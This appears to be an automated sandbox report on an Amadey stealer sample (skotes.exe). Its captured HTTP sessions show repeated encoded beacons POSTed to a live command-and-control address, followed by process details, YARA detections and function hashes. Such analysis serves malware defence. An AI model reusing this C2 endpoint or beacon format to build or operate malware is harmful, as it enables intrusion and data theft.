Nov 24, 2024 02:23:21.183948994 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 24, 2024 02:23:22.519133091 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49900	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:24.261709929 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:23:25.604116917 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49910	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:27.240940094 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 24, 2024 02:23:28.664896965 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49916	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:30.421768904 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:23:31.798350096 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49923	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:33.433871031 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 24, 2024 02:23:34.773086071 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49933	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:36.511797905 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:23:37.900830030 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49939	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:39.528475046 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 24, 2024 02:23:40.908083916 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49947	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:42.654645920 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:23:44.030520916 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49956	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:45.652378082 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 24, 2024 02:23:46.997339964 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49962	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:48.746124029 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:23:50.132993937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49972	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:51.763736963 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 24, 2024 02:23:53.163110971 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49980	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:54.902472019 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:23:56.278815985 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49986	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:57.949256897 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 24, 2024 02:23:59.331363916 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49996	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:24:01.092000961 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:24:02.479404926 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:24:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Target ID:	0
Start time:	20:21:55
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb40000
File size:	1'884'672 bytes
MD5 hash:	6D76634E0D5A3748DBB40ED91D91480A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2193715965.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2153521892.0000000005210000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:21:59
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xd60000
File size:	1'884'672 bytes
MD5 hash:	6D76634E0D5A3748DBB40ED91D91480A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2227793699.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2186521563.0000000004850000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs Detection: 54%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:22:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd60000
File size:	1'884'672 bytes
MD5 hash:	6D76634E0D5A3748DBB40ED91D91480A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2234945312.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2194651545.0000000005580000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:23:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd60000
File size:	1'884'672 bytes
MD5 hash:	6D76634E0D5A3748DBB40ED91D91480A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2797199366.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 053E0291 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196211083.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a9370cd4e3f36150e499fa0a1f057589f2347d778531eb06b792ba25b5063a8
Instruction ID: 4fc745828c56d9584ff8c5bbe1c7ffb88ffc1242b2367db676f074093ac27f1e
Opcode Fuzzy Hash: 5a9370cd4e3f36150e499fa0a1f057589f2347d778531eb06b792ba25b5063a8
Instruction Fuzzy Hash: A0318DEB10C131BE760AC5C12B5CAFA67EEE0C6730330882BF447D9C82E2D95E5A5572

Function 053E02B8 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196211083.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 861db35f0abc8784556aba60be40dc91e1c556b8b1b59ea13ccde26b6e1d50ae
Instruction ID: 362d39a0c692f1fd087b77d1dbb63dee48becb6f12cc3a9694910baa9837a18e
Opcode Fuzzy Hash: 861db35f0abc8784556aba60be40dc91e1c556b8b1b59ea13ccde26b6e1d50ae
Instruction Fuzzy Hash: 92215CEB10C135BE7246C5C12B19EFA66AEE5C67303318827F802D5C82E3C84E6E5932

Function 053E02D6 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196211083.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87ffe7fccdb2454fa26fa45983aabd46f549ad815a22559f20aab903429f2ab1
Instruction ID: 797a3feb072b83258a490cfe638114e4c6cbfae4c3d0fc9fc35392cf86833026
Opcode Fuzzy Hash: 87ffe7fccdb2454fa26fa45983aabd46f549ad815a22559f20aab903429f2ab1
Instruction Fuzzy Hash: 2F211AAB14C135BE7245C5C12B5CAFA66EFE5D67307318826F802D4C82E2D94E5A1932

Function 053E02AC Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196211083.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de64dd813fc2536cbddc2b2f7e6b30a196db06282c440b27183f5f155dff39d2
Instruction ID: 058c09be5c875aacf8a3be638d6733045c6b655f7afcf833076195057831dfe8
Opcode Fuzzy Hash: de64dd813fc2536cbddc2b2f7e6b30a196db06282c440b27183f5f155dff39d2
Instruction Fuzzy Hash: 931126AB14C135BE714AC5C12B58AFA66EFE1C56303318826F803E4D82E2D94E6A5932

Function 053E030A Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196211083.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c61a40256c828499d3e225b126812a6802c498611707dc3ecf1d913b04c00fa
Instruction ID: c6b9712f536b5c3dded784955a7443e047830a5a64a4f635634dd09ff9b15087
Opcode Fuzzy Hash: 6c61a40256c828499d3e225b126812a6802c498611707dc3ecf1d913b04c00fa
Instruction Fuzzy Hash: 7E118FFB10C161BFB245C6C13B59AFB67AFE5D6730331881BF443D4982D2984E6A5932

Function 053E02F2 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196211083.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8849aaff97b7f360dbc988f0f8e66a9ab2355a461456629de32a3d18d4c6af0e
Instruction ID: 7c914d1cfafe23e505915d0eab63ca00d22f8cbba4d6bb03cc7f64db9c9ad14f
Opcode Fuzzy Hash: 8849aaff97b7f360dbc988f0f8e66a9ab2355a461456629de32a3d18d4c6af0e
Instruction Fuzzy Hash: 121118AB10C131BE7145C5C22B58AFA66AFE1D57313318827F807D4C82E3D84F6E2932

Function 053E0394 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196211083.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02ecdb61d2cffae42f29991e4c1e3bcc8be232490a688738d3340257f4128878
Instruction ID: bbee410f02291cf62fcefca86273ea6b05440e17498ee7254d515b581b3365d1
Opcode Fuzzy Hash: 02ecdb61d2cffae42f29991e4c1e3bcc8be232490a688738d3340257f4128878
Instruction Fuzzy Hash: 371191BB10C131BE7249C1D12B59AFAABAFE4C57303318427F442D4C82D3D84E9A5972

Function 053E0371 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196211083.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd95e6d2a2a36b8b1736825574e007026c6ad732387699291aa5915323eded4c
Instruction ID: 2a79ae2ac43a962066f69e5be1f9b30345da983600fdaad4aa42bdaabe30281c
Opcode Fuzzy Hash: cd95e6d2a2a36b8b1736825574e007026c6ad732387699291aa5915323eded4c
Instruction Fuzzy Hash: 3B1157EB10C031BEB249C5C22B18AFA57AFE1D57307318827F802D4882D2D94EAA1932

Function 053E033D Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196211083.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3372e3f23c5e962038b9e63a4cd6dbe28e92678999b3fecdfd536644c011d7dd
Instruction ID: 071f9a96ff07adbb81c6dd79369a824a356ea686c16dec264262e78ae11a75c1
Opcode Fuzzy Hash: 3372e3f23c5e962038b9e63a4cd6dbe28e92678999b3fecdfd536644c011d7dd
Instruction Fuzzy Hash: 10014CFB10C135BE7245C1C12B59AFA57AFE4C5B703318827F802E5C86D3C94EAA1832

Function 053E03B0 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196211083.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bcaafcd87e7fb971b60b5b5edb030258c9e5394d3c7e991190344f86c00268e
Instruction ID: 65c4a1ead7024922ad89e7a89a1e45d219c47f9a656566706b19b640d45c3ee2
Opcode Fuzzy Hash: 1bcaafcd87e7fb971b60b5b5edb030258c9e5394d3c7e991190344f86c00268e
Instruction Fuzzy Hash: 81019EEB10C170AE7209D1C13BA9EFB27EED5C5B30331C957F442D5886D2D84EAA5932

Function 053E0354 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196211083.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03141fe3900f9d261423673a6681466cad9f3b388d401fb0ee41c57508eecf9d
Instruction ID: fc73246313a351783065401a5fbe2837110673d74d7b9672060c4a2f4ebf1f00
